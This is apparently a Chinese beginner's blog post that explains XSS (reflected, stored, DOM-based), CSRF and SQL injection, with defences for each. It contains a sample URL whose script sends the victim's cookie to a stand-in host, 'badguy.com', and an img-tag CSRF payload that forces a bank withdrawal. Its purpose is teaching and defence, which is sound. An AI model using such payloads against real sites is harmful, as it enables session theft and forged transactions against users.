常见漏洞和攻击及防范方法

XSS(Cross-Site Script) 跨站脚本攻击

1.Reflected XSS(基于反射的XSS攻击)
诱骗用户点击带攻击性的代码链接,服务器解析后响应,不转存数据库,在服务器响应的内容中有攻击性代码,被浏览器执行,从而获取信息等。不过这个url是会被用户怀疑的。

2.Stored XSS(基于存储的XSS攻击)
主动提交恶意数据到服务器,提交的代码能存储在数据库中(谁做的服务器端校验拖出来打一顿。Orz..)。
比如用户查看留言板,之前所有用户提交的信息被显示在页面中,如果某个用户提交了脚本代码,这个脚本代码是获取你的cookie信息发送到自己服务器端的,然后被浏览器解析了,那数据就泄漏了。
本人在淘宝首页搜索上输入了alert(1),嗯,被拦截了,报了405错误。搜索记录应该是会被存入服务器的,直接被拦掉了。

3.DOM-based or local XSS(基于DOM或本地的XSS攻击)
没有服务器的事,纯粹就是浏览器端的DOM解析。
比如某个网站里面的内容,是根据url里面的term直接显示的,那我直接在term里面加上代码,引诱别人去打开。

http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

比人访问这个网址,他的cookie就发送到badguy那里去了。
所以自己的页面一定要写好,别给别人可乘之机,我算是看出来了。。这些锅都要程序员自己背啊。。

防御措施:
过滤特殊字符,说白了就是不相信用户的输入,全部转义,不符合规矩的全部处理掉~个人觉得最好的办法就是全部转成字符串,我试了下百度的,就是这样的。


CSRF (Cross-Site Request Forgery) 跨站点请求伪造

我理解为攻击者欺骗用户去浏览自己的恶意网页,而这个恶意网页中存在一些操作,比如里面放了一个转账代码

<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">

而你之前才登陆过bank,cookie还没失效,cookie是保存在浏览器中的,那这时候服务器又以为是你自己发的请求,然后,然后就boom。。了。

防御措施:
1.检查referer字段,referer字段表示请求来自哪个地址。通常referer地址应该和请求地址一致,意思就是应该是在自己服务器发出去的正常的网页下操作,不是在别人的恶意网页上发出的请求。

2.校验token,服务器生成一段乱码为token值,在用户访问网页时加入cookie一同返回到浏览器中,当用户需要发送一些重要请求时,服务器校验token是不是之前发送给用户的,这样能保证请求是真的从自己的页面发送过来的。(双击666)


SQL injection 注入攻击

把sql命令插入到表单提交或输入域名或页面请求的查询字符串中,欺骗服务器执行恶意的sql命令。之前的影视网站泄露vip信息就是通过发送查询的sql拿到的(真的是厉害,这样都行)
我觉得这个跟xss的存储式攻击差不多。

防御措施:
不要信任用户输入,这个和xss的一样。不要使用动态拼装sql(我貌似经常这么干。。)


不了解不知道,原来互联网这么不安全。
一直觉得有同源策略很安全了。但是还是觉得,要自己学会去用,有意识的去防范,才能把这些作用发挥出来。

(网上有猿说提供一个免费的wifi,别人登录了,我就可以抓包了。默默打开了我的charles跃跃欲试ヽ(•̀ω•́ )ゝ)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值